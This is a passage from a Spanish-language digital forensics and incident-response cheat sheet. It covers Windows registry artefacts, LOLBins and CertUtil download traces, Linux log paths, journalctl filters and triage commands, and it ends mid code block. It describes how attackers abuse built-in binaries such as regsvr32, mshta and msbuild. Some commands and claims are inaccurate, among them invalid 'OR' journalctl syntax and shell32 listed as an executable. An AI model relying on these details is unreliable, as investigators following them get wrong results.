1723 | ### 📜 Asignación de IPs en equipos
1724 |
1725 | En un incidente se descubre que se envió un paquete de red mal formado desde una dirección IP, pero el atacante elimina dicho registro. Se puede consultar la siguiente subclave del registro para encontrar el equipo en la red que tenía esa dirección IP. Cada subclave tendrá un registro DHCP con los valores DhcpIPAddress, DhcpNameServer, etc.
1726 | ```
1727 | HKLM\SYSTEM\ControlSet00*\Services\Tcpip\Parameters\Interfaces
1728 | ```
1729 |
1730 | ### 📜 Windows Firewall (wf.msc): Reglas residuales de software desintalado
1731 |
1732 | Comprobar las reglas de entrada y salida en Windows Firewall **"wf.msc"**. Un actor malicioso podría haber instalado software que creó reglas de firewall. La mayoría de las aplicaciones no borran estas reglas, incluso cuando se desinstala.
1733 |
1734 | ### 📜 Persistencia: suplantación de procesos del sistema
1735 |
1736 | Detección de 2 procesos con el mismo PID pero diferentes direcciones de memoria, podría indicar un proceso de inyección malicioso.
1737 |
1738 | Algunos ejemplos en procesos conocidos.
1739 | | Process | PID | Address |
1740 | |--------------|------|----------|
1741 | | explorer.exe | 547 | 0xa20000 |
1742 | | explorer.exe | 547 | 0x5d1000 |
1743 | | svchost.exe | 1447 | 0x6d0000 |
1744 | | svchost.exe | 1447 | 0x210000 |
1745 | | rundll32.exe | 5287 | 0xa90000 |
1746 | | rundll32.exe | 5287 | 0x6a1000 |
1747 |
1748 | ### 📜 Herramientas para consultar y auditar: GPOs, control de accesos, usuarios, grupos y otros funciones de Active Directory y LDAP
1749 |
1750 | La forma más limpia y sencilla de **realizar un backup o export de las políticas locales** (GPOs locales) de un equipo.
1751 |
1752 | Copiar todos los ficheros de la siguiente ruta:
1753 | ```
1754 | %systemroot%\System32\GroupPolicy
1755 | ```
1756 | Una vez los tengamos aislados poder reemplazarlo en una nueva imagen de sistema limpia o simplemente analizarlos con la utilidad de Registry.pol Viewer Utility.
1757 |
1758 | | Herramienta | Info | Link |
1759 | |-------------|------|------|
1760 | | `Registry.pol Viewer Utility` (sdmsoftware) | Visualizar *Registry.pol* de GPOs | https://sdmsoftware.com/389932-gpo-freeware-downloads/registry-pol-viewer-utility |
1761 | | `Nettools` | Consultar múltiples funciones de AD | https://nettools.net/download |
1762 | | `Ping Castle` | Auditoría de seguridad general del estado de AD. Útil para analizar herencias o nuevas membresías a grupos privilegiados | https://pingcastle.com/download |
1763 |
1764 | ### 📜 Análisis de phishing mails (extensión .eml)
1765 |
1766 | - SysTools EML Viewer Tool: https://www.systoolsgroup.com/eml-viewer.html
1767 |
1768 | ### 📜 MUICache: artefactos sobre aplicaciones
1769 | MUICache es un recurso de Windows que actúa como una clave de registro que se encarga de almacenar información sobre el ejecutable de cada aplicación y que el sistema operativo extrae automáticamente cuando se utiliza una nueva aplicación. MUICache tiene la característica de que incluso si eliminas algunos elementos, volverán a aparecer la próxima vez que ejecutes esa aplicación.
1770 |
1771 | ```
1772 | HKEY_USERS\\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
1773 | HKEY_USERS\_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
1774 | ```
1775 |
1776 | - Tool GUI - MUICacheView: https://www.nirsoft.net/utils/muicache_view.html
1777 |
1778 | ### 📜 FeatureUsage: reconstruir las actividades de los usuarios
1779 | Realiza un seguimiento de los eventos asociados con la barra de tareas, por ejemplo, cuando un usuario ejecuta una aplicación anclada a ella. Los artefactos *FeatureUsage* se encuentran en el archivo de registro NTUSER.DAT con la siguiente clave.
1780 |
1781 | ```
1782 | HKEY_USERS\\Software\Microsoft\Windows\CurrentVersion\Explorer\FeatureUsage
1783 | NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\FeatureUsage
1784 | ```
1785 |
1786 | - **AppBadge**: Esta subclave realiza un seguimiento de las actualizaciones de credenciales para aplicaciones en la barra de tareas. Por ejemplo, si se usa Telegram, WhatsApp, Discord y se recibe un mensaje nuevo, puede ver un ícono rojo en la insignia de la aplicación con la cantidad de mensajes nuevos.
1787 | - **AppLaunch**: Esta subclave registra los inicios de aplicaciones, que están ancladas a la barra de tareas
1788 | AppSwitched: Esta subclave registra los clics izquierdos en las aplicaciones de la barra de tareas cuando un usuario desea cambiar de una a otra.
1789 | - **ShowJumpView**: Esta subclave rastrea los clics derechos en las aplicaciones de la barra de tareas.
1790 | - **TrayButtonClicked**: Esta subclave rastrea los clics izquierdos en los siguientes elementos de la barra de tareas: botón Reloj, botón Inicio, botón Centro de notificaciones y cuadro de búsqueda, pudiendo ver los clics en cada elemento.
1791 |
1792 | ### 📜 MRU (Most Recently Used): Artefactos de Office local y Office 365
1793 | **MRU** (Most Recently Used o Usado más recientemente): muestran a través del registro de Windows la lista de archivos abiertos recientemente por el usuario usados en las aplicaciones de Office, facilitando al usuario el poder elegir de esta lista en lugar de navegar a la carpeta origen donde está ubicado.
1794 |
1795 | - En una investigación general, conocer qué documentos abrió recientemente el usuario puede revelar para qué se utilizó el equipo afectado.
1796 | - Enumerar las rutas y los timestamps de los archivos que se eliminaron desde entonces o que estaban en una unidad extraíble.
1797 | - En un caso de intrusión con una cuenta de usuario corporativa al equipo a un aplicativo de office 365 en cloud, esta lista podría mostrar qué documentos podrían ser de interés para el atacante.
1798 | - En el caso de un ataque de phishing local con documento adjunto, se podría ver y confirmar los timestamps y la ejecución del documento malicioso por parte del usuario víctima.
1799 | - En un caso de amenaza interna, puede mostrar qué tipo de documentos quería robar o exfiltrar el insider.
1800 |
1801 | Para documentos Office abiertos desde una sesión iniciada de Office 365 con una cuenta sincronizada y licenciada de Microsoft Live. Un ejemplo con Excel y Word.
1802 | ```
1803 | HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\User MRU\LiveId_\File MRU
1804 | HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\User MRU\LiveId_\File MRU
1805 | ```
1806 |
1807 | Los documentos de Office abiertos en local no llevan la ruta de identificador de sincronización de LiveId. Un ejemplo con Word.
1808 | ```
1809 | HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\File MRU
1810 | HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Reading Locations\Document X
1811 | ```
1812 |
1813 | - Tool GUI - RecentFilesView: https://www.nirsoft.net/utils/recent_files_view.html
1814 |
1815 | ### 📜 Ver el úlimo fichero descomprimido 7-Zip
1816 | La siguiente ruta muestra la ruta y confirma el último fichero descomprimido usando 7-Zip.
1817 |
1818 | Si en una investigación forense se sospecha de que el origen de ejecución de un fichero malioso se escondía detrás de otro fichero comprimido enviado vía correo, descargado y descomprimido en local, podemos utilizar esta info como artefacto de confirmación e indicativo de la acción en el equipo ejecutado por parte del usuario víctima.
1819 |
1820 | ```
1821 | HKEY_USERS\\Software\7-Zip\FM
1822 | ```
1823 | - Valor **PanelPath0**: Este valor muestra la ruta del último fichero descomprimido usando 7-Zip.
1824 |
1825 | ### 📜 Detectar antimalware instalado y su estado usando WMI
1826 | Listará los agentes de antimalware instalados en el sistema.
1827 |
1828 | ```ps
1829 | Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct | Select-Object displayName, productState, pathToSignedReportingExe, timestamp | fl
1830 | ```
1831 |
1832 | ### 📜 Detectar servicios configurados con cuentas de dominio
1833 | *DOMAIN* = Sustituir por el FQDN correspondiente.
1834 |
1835 | ```ps
1836 | Get-WmiObject Win32_Service | Where-Object { $_.StartName -like "*DOMAIN*" } | Select-Object Name, StartName
1837 | ```
1838 |
1839 | ### 📜 LOLBins comunes y sus artefactos
1840 |
1841 | **LOLBins** (Living Off the Land Binaries) son principalmente ficheros ejecutables, scripts o librerías legítimas que ya están presentes en un sistema operativo y que los atacantes pueden llegar a utilizar con fines maliciosos para los que originalmente no fueron diseñados para esos usos.
1842 |
1843 | Estos programas no requieren la instalación de software adicional, lo que permite a los atacantes realizar acciones maliciosas de forma desapercibida puediendo evitar la detección por parte de soluciones de seguridad tradicionales y para los equipos de monitorización y detección si no están lo suficientemente preparados.
1844 |
1845 | Los LOLBins suelen usasarse después de conseguir un acceso inicial a un sistema, normalmente en fases de post-explotación para conseguir una escalada de privilegios (descarga o ejecución arbitraria de otros ficheros o código) debido a otras debilidades adyacentes de configuración en el sistema o también como técnicas de exfiltración de datos. Es muy común ver el uso de más de algún LOLBin como parte de ataques [APT (Advanced Persistent Threat)](https://es.wikipedia.org/wiki/Amenaza_persistente_avanzada) usados por grupos conocidos de ciberdelincuentes que puedan desencadenar una potencial afectación de Ransomware.
1846 |
1847 | Existen multitud de LOLBins tanto para sistemas Windows [LOLBAS](https://lolbas-project.github.io/) como para sistemas basados en el kernel de Linux [GTFOBins](https://gtfobins.github.io/), algunos también afectarían a sistemas MacOS ya que es un derivado de UNIX.
1848 |
1849 | > Los siguientes LOLBins afectan a sistemas Windows siendo **los "LOLBins TOP" más utilizados** y detectados según las estadísticas de los fabricantes de plataformas EDR/XDR en los reportes de incidentes críticos de seguridad en las compañías privadas y administraciones públicas.
1850 |
1851 | Listado de mayor a menor uso:
1852 |
1853 | **`PowerShell.exe`**: Intérprete de línea de comandos y lenguaje de scripting en Windows, utilizado en estos casos para ejecutar scripts maliciosos y comandos.
1854 |
1855 | **`rundll32.exe`**: Utilidad de Windows que carga y ejecuta funciones desde bibliotecas DLL.
1856 |
1857 | **`te.exe`**: Parte del Test Authoring and Execution Framework.
1858 |
1859 | **`PsExec.exe`**: Forma parte de la [suite de Sysinternals](https://learn.microsoft.com/es-es/sysinternals/downloads/psexec), es una herramienta para ejecutar procesos en sistemas remotos.
1860 |
1861 | **`CertUtil.exe`**: Herramienta para gestionar información de las autoridades de certificación.
1862 |
1863 | **Artefactos CertUtil**:
1864 | - Artefactos de proceso: Eventos de creación de procesos (4688) en el registro de eventos de seguridad.
1865 | - Archivos CryptNetURLCache: Rutas donde se guarda la caché guarda una copia de los archivos descargado, metadatos sobre el lugar desde el que se descargó el archivo y la hora de la primera y la última descarga.
1866 |
1867 | ***Evidencias para descargas existosas:***
1868 |
1869 | Contiene copias de cualquier archivo descargado por certutil.
1870 | ```
1871 | C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache
1872 | C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache
1873 | C:\Users\\AppData\LocalLow\Microsoft\CryptnetUrlCache
1874 | ```
1875 |
1876 | Metadata en archivos CryptNetURLCache: Contiene un archivo con información sobre la descarga, como la URL y la fecha.
1877 | ```
1878 | C:\Users\\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData
1879 | C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData
1880 | C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData
1881 | ```
1882 |
1883 | ***Evidencias para descargas fallidas:***
1884 |
1885 | Buscar el registro de Windows en los eventos de Windows Defender el ID 1116 que indica un evento de detección de malware u otro software potencialmente no deseado. Esta actividad está bloqueada de manera predeterminada si RTP (Real Time Protection) está habilitado.
1886 |
1887 | Referencias:
1888 | - Artículo de AbdulRhman Alfaifi sobre como [analizar los archivos de metadatos de certutil](https://u0041.co/posts/articals/certutil-artifacts-analysis/)
1889 | - [CryptnetURLCacheParser](https://u0041.co/posts/articals/certutil-artifacts-analysis/): Herramienta de AbdulRhman Alfaifi para analizar archivos de caché CryptAPI sobre certutil
1890 |
1891 | **`Reg.exe`**: Herramienta para la gestión del registro de Windows desde línea de comandos.
1892 |
1893 | **`wscript.exe`**: Windows Script Host, diseñado para ejecutar scripts en lenguajes de programación.
1894 |
1895 | > **Los siguientes LOLBins también se detectaron aunque en un menor porcentaje de uso** por los sistemas EDR/XDR en los reportes de incidentes críticos de seguridad en las compañías privadas y administraciones públicas.
1896 |
1897 | **`mshta.exe`**: Diseñado para ejecutar archivos de aplicaciones HTML de Microsoft (HTA), puede ejecutar código de Windows Script Host (VBScript y JScript) incrustado en HTML.
1898 |
1899 | **`msiexec.exe`**: Instalador de Windows que puede ser utilizado para ejecutar archivos MSI maliciosos.
1900 |
1901 | **`cscript.exe`**: Intérprete de scripts de Windows que permite la ejecución de scripts VBScript y JScript.
1902 |
1903 | **`netsh.exe`**: Herramienta de configuración de red de Windows que puede ser utilizada para modificar configuraciones de red y establecer túneles.
1904 |
1905 | **`schtasks.exe`**: Utilidad para programar tareas en Windows que puede ser usada para establecer tareas persistentes o maliciosas.
1906 |
1907 | **`excel.exe`**: Aplicación de Microsoft Excel que puede ejecutar macros maliciosas embebidas en documentos.
1908 |
1909 | **`print.exe`**: Comando para gestionar trabajos de impresión, potencialmente explotable para manipular colas de impresión.
1910 |
1911 | **`msbuild.exe`**: Herramienta de compilación de Microsoft que puede compilar y ejecutar código malicioso.
1912 |
1913 | **`powerpnt.exe`**: Aplicación de Microsoft PowerPoint que puede ejecutar macros maliciosas en presentaciones.
1914 |
1915 | **`regsvr32.exe`**: Utilidad para registrar y anular el registro de objetos COM que puede ejecutar scripts maliciosos desde internet.
1916 |
1917 | **`winword.exe`**: Aplicación de Microsoft Word que puede ejecutar macros maliciosas embebidas en documentos.
1918 |
1919 | **`shell32.exe`**: Biblioteca de Windows que contiene funciones usadas para abrir programas y archivos, susceptible a ser explotada para ejecutar comandos arbitrarios.
1920 |
1921 | ## 📁 Linux
1922 |
1923 | ### 📜 Logs del sistema de Linux
1924 |
1925 | Estos ficheros de logs pueden variar, existir o no dependiendo del tipo de distribución del sistema Linux.
1926 |
1927 | | File Path | Info |
1928 | |-----------|------|
1929 | | `/var/log/syslog` | Contiene la totalidad de logs capturados por rsyslogd. Los mensajes globales del sistema incluyendo registros que generan algunos servicios durante el arranque, registros que dejan los programas que se ejecutan por parte del demonio CROND, logs sobre procesos de autenticación llevados a cabo por los usuarios, etc. |
1930 | | `/etc/passwd` | Contiene información sobre cuentas de usuario. |
1931 | | `/etc/shadow` | Contiene información sobre hashes de contraseñas de las cuentas de usuario. |
1932 | | `/etc/group` | Contiene información sobre grupos y miembros de grupos. |
1933 | | `/var/log/auth.log` (Debian y derivados) ; `/var/log/secure` (Red Hat y derivados) | Almacena los eventos relacionados con mecanismos de autenticación, por ejemplo, cuando un usuario inicia sesión en el sistema, cambios en contraseñas, relacionados con sudo. |
1934 | | `/var/log/audit/audit.log` | Los sistemas que utilizan auditd, este registro contiene eventos de seguridad detallados. |
1935 | | `var/log/debug` | Registra datos de los programas que están actuando en modo depuración. De esta forma los programadores pueden obtener información si sus programas están funcionando adecuadamente. |
1936 | | `/var/log/kern.log` | Este fichero almacena los logs producidos por el kernel. Puede ser útil para intentar detectar y solucionar problemas con la detección de hardware. |
1937 | | `/proc/...` | Contiene información información del kernel, hardware, procesos en tiempo real y en general de características y estado del sistema. |
1938 | | `/var/log/dmesg` | Registra información relacionada con el hardware del equipo. Contiene información para concluir si el hardware funciona de forma adecuada. |
1939 | | `/var/log/dpkg.log` | En sistemas basados en Debian se genera este fichero cuando se instala o desinstala software utilizando DPKG. Contiene los registros y eventos producidos durante el proceso de instalación. |
1940 | | `/var/log/messages` | Contiene mensajes informativos y no críticos de la actividad del sistema operativo. Acostumbra a contener los errores que se registran en el arranque del sistema que no estén relacionados con el Kernel. Por lo tanto, si no se inicia un servicio, como por ejemplo el servidor de sonido, podemos buscar información dentro de este archivo. |
1941 | | `/var/log/faillog` | Registra los intentos fallidos de autenticación de cada usuario. Dentro del archivo se almacena una lista de usuarios, los fallos totales de cada usuario, el número de fallo máximos que permitimos y la fecha y hora del último fallo. Si un usuario supera el número de fallos máximos establecidos se deshabilitará el usuario por el tiempo que nosotros fijemos. |
1942 | | `/var/spool/cron` | Archivos crontab para las tareas programadas creadas por todos los usuarios del sistema. |
1943 | | `/etc/crontab` | Archivo crontab para el usuario root a nivel general del sistema. |
1944 | | `/etc/hosts` | Analizar el archivo hosts en busca de posibles manipulaciones de direcciones IP y resolución de nombres. |
1945 | | `/var/log/user.log` | Incluye información sobre los eventos producidos en las sesiones de los usuarios, dichos eventos incluyen errores, conexiones e interfaces de red que se encuentran activas. |
1946 | | `/var/log/lastlog` | Ayuda a ver la fecha y la hora en que cada usuario se ha conectado por última vez. |
1947 | | `/tmp` o `/var/tmp` | Archivos temporales que puedan contener información relevante en un análisis DFIR. |
1948 | | `/var/log/btmp` | Este fichero incluye registros sobre los intentos de autenticación fallido en el sistema. Almacena los intentos fallidos de logins en un equipo. Si alguien realizará un ataque de fuerza bruta a un servidor ssh, el fichero registraría la IP del atacante, el día y hora en que ha fallado el login, el nombre de usuario con que se ha intentado loguear, etc. Para visualizar este fichero usar utmpdump: "utmpdump /var/log/btmp"|
1949 | | `/var/log/wtmp` | Contiene información sobre qué usuarios se encuentran autenticados y usando el sistema actualmente. Equivalente al comando "last"|
1950 | | `/var/run/utmp` | Ver los usuarios que actualmente están logueados en un equipo. |
1951 | | `/var/log/boot.log` | Información relacionada con el arranque del sistema. Podemos consultarlo para analizar si se levantan los servicios del sistema, si se levanta la red, si se montan las unidades de almacenamiento, para averiguar un problema que hace que nuestro equipo no inicie, etc. |
1952 | | `/var/log/cron` | Se trata de un fichero de logs en donde se guardan los registros producidas por las tareas programadas ejecutadas por el demonio CROND. |
1953 | | `/var/log/daemon.log` | Registra la actividad de los demonios o programas que corren en segundo plano. Para ver si un demonio se levanto o está dando errores podemos consultar este log. Dentro de daemon.log encontraremos información sobre el demonio que inicia el gestor de inicio, el demonio que inicia la base de datos de MySQL, etc. |
1954 | | `/var/log/apt/history.log` | Detalle de los paquetes instalados, desinstalados o actualizados mediante el gestor de paquetes apt. |
1955 | | `/var/log/apt/term.log` | Contiene la totalidad de información mostrada en la terminal en el momento de instalar, actualizar o desinstalar un paquete con apt. |
1956 | | `/var/log/mail.log` | Información relacionada con el servidor de email que tengamos instalado en el equipo. En mi caso uso sendmail y registra la totalidad de sus acciones en mail.log. |
1957 | | `/var/log/alternatives.log` | Registra todas las operaciones relacionadas con el sistema de alternativas. Por lo tanto, todas las acciones que realicemos usando el comando update-alternatives se registrarán en este log. El sistema de alternativas permite definir nuestro editor de texto predeterminado, el entorno de escritorio predeterminado, la versión de java que queremos usar por defecto, etc. |
1958 | | `/var/log/Xorg.0.log` | Registra la totalidad de eventos relacionados con nuestra tarjeta gráfica desde que arrancamos el ordenador hasta que lo apagamos. Por lo tanto puede ayudar a detectar problemas con nuestra tarjeta gráfica. |
1959 |
1960 | ### 📜 Logs de aplicaciones de Linux
1961 |
1962 | | File Path | Info |
1963 | |-----------|------|
1964 | | `/var/log/mysqld.log` | Registra eventos y mensajes relacionados con el sistema de gestión de bases de datos MySQL. Contiene información sobre el inicio y apagado del servidor MySQL, consultas ejecutadas, errores y advertencias, así como cualquier actividad relevante en la base de datos. |
1965 | | `/var/log/rkhunter.log` | Registra la totalidad de resultados obtenidos por rkhunter. |
1966 | | `/var/log/samba/*.*` | Dentro de la ubicación "/var/log/samba" se encuentran distintos logs que registrarán los eventos que han ocurrido en nuestro servidor samba. Algunos de los registros que encontrarán son sobre creaciones de directorios, renombrado de archivos, ficheros creados y borrados, registros de conexiones y desconexiones al servidor, etc. |
1967 | | `/var/log/cups/*.*` | **"error_log"**, **"page_log"** y **"access_log"** contienen información acerca las horas en que una IP se ha conectado al servidor, el usuario que se ha conectado al servidor, los errores y advertencias del servidor, la fecha en que se ha imprimido un determinado documento, el número de copias, etc. |
1968 | | `/var/log/lighttpd/*.*` | **"access.log"** y **"error.log"** contienen información sobre las visitas y errores que se generan cuando un usuario visita una página web montada sobre un servidor lighttpd. |
1969 | | `/var/log/apache2/access.log` o `/var/log/httpd/access_log` | Contiene información de los usuarios que han accedido al servidor web Apache. En este fichero se encuentran datos como las webs que se han visitado desde una determinada IP, la hora en que una IP nos ha visitado, etc. |
1970 | | `/var/log/apache2/error.log` o `/var/log/httpd/error_log` | Registra la totalidad de errores cuando se procesan las solicitudes de los visitantes al servidor web Apache. |
1971 | | `/var/log/nginx/access.log` `/var/log/nginx/error.log` | **"access.log":** Registra las solicitudes al servidor Nginx, incluyendo detalles sobre la solicitud, dirección IP y código de respuesta HTTP, user-agent del cliente y más. **"error.log":** Registra los errores en el servidor Nginx, como problemas de configuración, errores de conexión y otros fallos técnicos. |
1972 | | `/var/log/prelink/` | Contiene información sobre las modificaciones que la utilidad prelink realiza a los binarios y librerías compartidas. |
1973 | | `/var/log/mysql/mysql.log` | Registra la totalidad de sentencias que los clientes envían al servidor. |
1974 | | `/var/log/mysql/error.log` | Registra los errores o problemas detectados al iniciar, ejecutar o parar el servicio. Por lo tanto en el caso que MySQL o MariaDB no se inicien deberemos acceder a este fichero para obtener información del problema. |
1975 | | `/var/log/mysql/mysql-slow.log` | Encontraremos información acerca de las sentencias que han tardado más segundos que los especificados en la variable del sistema long_query_time. De esta forma podremos conocer la sentencias SQL que se ejecutan de forma lenta. |
1976 | | `/var/log/fail2ban.log` | Registra el timestamp en el que una determinada IP ha sido bloqueada y desbloqueada al intentar acceder a un determinado servicio, normalmente SSH. |
1977 | | `/var/log/openvpn.log` | La hora en la que una determinada IP se ha conectado al servidor OpenVPN. Aunque para registrar los intentos fallidos de autenticación también se podría hacer uso de fail2ban. |
1978 | | `/var/log/openvpn-status.log` | Contiene información de los usuarios conectados al servidor OpenVPN. Ejemplos de la información que contiene es la IP de cada uno de los usuarios, la cuenta de usuario con que se ha conectado una determinada IP, la hora en que cada usuario ha iniciado la conexión, etc. |
1979 | | `/var/log/letsencrypt/letsencrypt.log` | Contiene todo tipo de información acerca de los certificados de Let's Encrypt. Por ejemplo si se han producido errores en la renovación de los certificados. |
1980 |
1981 | ### 📜 Logs journalctl (systemd)
1982 | **Systemd**: es un sistema moderno en Linux que reemplaza a SysV init, mejorando la eficiencia del inicio y administración de servicios. SysV representa tanto al sistema operativo Unix System V como a un estilo de inicio basado en scripts de inicialización tradicionales, "init.d" gestiona servicios en sistemas con este enfoque. Systemd introduce herramientas como "journalctl", permitiendo acceder y analizar eficientemente registros estructurados del sistema.
1983 |
1984 | **Journalctl**: es una herramienta en Linux que trabaja con el registro de systemd, brindando acceso a registros estructurados en el Journal de systemd. Facilita consultas y análisis avanzados de eventos del sistema mediante registros binarios estructurados, en contraste con los registros de texto plano tradicionales.
1985 |
1986 | Configurar la hora del sistema para visualizar los registros en hora UTC o local systemd mostrará los resultados en hora local de manera predeterminada.
1987 | ```bash
1988 | timedatectl list-timezones
1989 | timedatectl set-timezone
1990 | timedatectl status
1991 | ```
1992 |
1993 | Filtrar por prioridad.
1994 | ```bash
1995 | Journalctl -p
1996 | # 0: emerg
1997 | # 1: alert
1998 | # 2: crit
1999 | # 3: err
2000 | # 4: warning
2001 | # 5: notice
2002 | # 6: info
2003 | # 7: debug
2004 | ```
2005 |
2006 | Filtrar por fecha/hora y rangos.
2007 | ```bash
2008 | journalctl --since "YYYY-MM-DD"
2009 | journalctl --since "YYYY-MM-DD HH:MM:SS"
2010 | journalctl --since "-5 day"
2011 | journalctl --until "YYYY-MM-DD"
2012 | journalctl --since "YYYY-MM-DD HH:MM:SS" --until "YYYY-MM-DD HH:MM:SS"
2013 | ```
2014 |
2015 | Mostrar las 20 entradas más recientes.
2016 | ```bash
2017 | journalctl -n 20
2018 | ```
2019 |
2020 | Hacer un seguimiento de los registros a tiempo real (equivalente a tail -f).
2021 | ```bash
2022 | journalctl -f # Equivalente a "journalctl" y después presionar "Shift+F".
2023 | ```
2024 |
2025 | Mostrar la lista de todos los boots que existen en el sistema.
2026 | ```bash
2027 | journalctl --list-boots
2028 | ```
2029 |
2030 | Mostrar resgistros de kernel.
2031 | ```bash
2032 | journalctl -k
2033 | ```
2034 |
2035 | Mostrar los registros de la sesión de inicio anterior para rastrear eventos previos al reinicio del sistema.
2036 | ```bash
2037 | journalctl -b -1
2038 | ```
2039 |
2040 | Mostrar los servicios que son dependientes del systemd.
2041 | ```bash
2042 | systemctl list-units -t service --all
2043 | ```
2044 |
2045 | Filtrar por servicios.
2046 | ```bash
2047 | journalctl -u sshd.service
2048 | journalctl -u sshd.service -u dbus.service
2049 | journalctl -u sshd.service --since today
2050 | ```
2051 |
2052 | Cambiar el formato en los resultados de salida.
2053 | ```bash
2054 | journalctl -b -u nginx -o json
2055 | journalctl -b -u nginx -o json-pretty
2056 | journalctl -b -u nginx -o short # Resultado similar a un estilo syslog.
2057 | ```
2058 |
2059 | Filtrar por proceso, usuario, grupo o servicio.
2060 | ```bash
2061 | journalctl _PID=
2062 | journalctl _UID=
2063 | journalctl _GID=
2064 | journalctl _COMM=
2065 | # Para filtrar resultados del día actual: --since today
2066 | ```
2067 |
2068 | Mostrar registros de los discos.
2069 | ```bash
2070 | journalctl /dev/sda
2071 | ```
2072 |
2073 | Mostrar un resultado de salida estándar.
2074 | ```bash
2075 | journalctl --no-pager
2076 | ```
2077 |
2078 | Eliminar y guardar registros antiguos.
2079 | ```bash
2080 | # Eliminar entradas antiguas hasta que el espacio total del diario ocupe lo solicitado.
2081 | sudo journalctl --vacuum-size=1G
2082 |
2083 | # Guardar las entradas del último año.
2084 | sudo journalctl --vacuum-time=1years
2085 | ```
2086 |
2087 | Analizar eventos de inicio y apagado del sistema.
2088 | ```bash
2089 | journalctl _SYSTEMD_UNIT=systemd-logind.service
2090 | ```
2091 |
2092 | Mostrar eventos de modificación de archivos relacionados con su eliminación (rm).
2093 | ```bash
2094 | journalctl /usr/bin/rm
2095 | ```
2096 |
2097 | Buscar intentos de elevación de privilegios.
2098 | ```bash
2099 | journalctl | grep "sudo"
2100 | ```
2101 |
2102 | Mostrar eventos de modificación de archivos de registro.
2103 | ```bash
2104 | journalctl /var/log/audit/audit.log
2105 | journalctl /usr/bin/journalctl
2106 | ```
2107 |
2108 | Buscar eventos de ejecución de programas en directorios temporales.
2109 | ```bash
2110 | journalctl _COMM="mv" OR _COMM="cp" | grep "/tmp/"
2111 | ```
2112 |
2113 | Analizar cambios en archivos de configuración de servicios.
2114 | ```bash
2115 | journalctl /etc/nginx/nginx.conf
2116 | ```
2117 |
2118 | Mostrar cambios en archivos de configuración.
2119 | ```bash
2120 | journalctl /usr/bin/vi
2121 | journalctl /usr/bin/vim
2122 | journalctl /usr/bin/nano
2123 | ```
2124 |
2125 | Filtrar por eventos de inicio de sesión fallidos en SSH.
2126 | ```bash
2127 | journalctl _SYSTEMD_UNIT=sshd.service | grep "Failed password"
2128 | ```
2129 |
2130 | Mostrar eventos de inicio de sesión de usuarios remotos.
2131 | ```bash
2132 | journalctl _SYSTEMD_UNIT=sshd.service | grep "Accepted"
2133 | ```
2134 |
2135 | Buscar eventos de ejecución de comandos de shell.
2136 | ```bash
2137 | journalctl _COMM="bash" OR _COMM="sh"
2138 | ```
2139 |
2140 | Mostrar eventos de montaje y desmontaje de dispositivos.
2141 | ```bash
2142 | journalctl _COMM="mount" OR _COMM="umount"
2143 | ```
2144 |
2145 | Mostrar eventos de cambios de permisos en archivos.
2146 | ```bash
2147 | journalctl _COMM="chmod" OR _COMM="chown"
2148 | ```
2149 |
2150 | Mostrar eventos de inicio de sesión exitosos.
2151 | ```bash
2152 | journalctl SYSLOG_FACILITY=4
2153 | ```
2154 |
2155 | Mostrar cambios en cronjobs.
2156 | ```bash
2157 | journalctl /usr/sbin/cron
2158 | ```
2159 |
2160 | ### 📜 Copiar un binario malicioso ya eliminado a través de su proceso todavía en ejecución
2161 |
2162 | Aunque se elimne el binario del proceso del malware, todavía está en el espacio del kernel. Por lo tanto, se puede usar el comando *scp* para copiar directamente un binario de proceso sospechoso de Linux.
2163 |
2164 | ```bash
2165 | scp /proc//exe user@ip:/recovered_binary
2166 | ```
2167 |
2168 | ### 📜 Identificar y obtener archivos con PID de procesos maliciosos (conexiones SSH Linux)
2169 |
2170 | Se conectaron al sistema a través de SSH e iniciaron procesos maliciosos. Incluso, si eliminaron el historial de comandos.
2171 |
2172 | Esta es una forma de obtener archivos con PID de procesos maliciosos (similar a casos de notty SSH)
2173 |
2174 | ```bash
2175 | grep -l SSH_C /proc/*/environ
2176 | ```
2177 |
2178 | ### 📜 Recopilar información en un primer análisis de respuesta a incidentes (sistema Linux)
2179 |
2180 | Buscar archivos legibles en el directorio /etc/.
2181 | ```bash
2182 | find /etc/ -readable -type f 2>/dev/null
2183 | ```
2184 |
2185 | Buscar archivos modificados en los últimos 2 días o N días.
2186 | ```bash
2187 | find / -mtime -2 -ls
2188 | find / -mtime -[N]
2189 | ```
2190 |
2191 | Buscar un archivo específico.
2192 | ```bash
2193 | find / -name [ARCHIVO]
2194 | updatedb ; locate [ARCHIVO]
2195 | ```
2196 |
2197 | Buscar archivos de más de N bytes.
2198 | ```bash
2199 | find / -size +[N]c
2200 | ```
2201 |
2202 | Mostrar todas las reglas iptables.
2203 | ```bash
2204 | iptables -L -n -v
2205 |
2206 | # Debian/Ubuntu
2207 | cat /etc/iptables/rules.v4
2208 | cat /etc/iptables/rules.v6
2209 |
2210 | # Red Hat/CentOS
2211 | cat /etc/sysconfig/iptables
2212 | ```
2213 |
2214 | Mostrar el estado de todos los servicios.
2215 | ```bash
2216 | service --status-all
2217 | ```
2218 |
2219 | Listar los servicios en ejecución (systemd).
2220 | ```bash
2221 | systemctl list-units --type=service
2222 | ```
2223 |
2224 | Listar procesos en formato de árbol con PIDs.
2225 | ```bash
2226 | pstree -p
2227 | ```
2228 |
2229 | Listar procesos en formato personalizado.
2230 | ```bash
2231 | ps -eo pid,tt,user,fname,rsz
2232 | ```
2233 |
2234 | Listar archivos abiertos asociados a conexiones de red.
2235 | ```bash
2236 | lsof -i
2237 | ```
2238 |
2239 | Listar el proceso/servicio escuchando en un puerto concreto.
2240 | ```bash
2241 | lsof -i:[PUERTO]
2242 | ```
2243 |
2244 | Listar archivos abiertos para un proceso.
2245 | ```bash
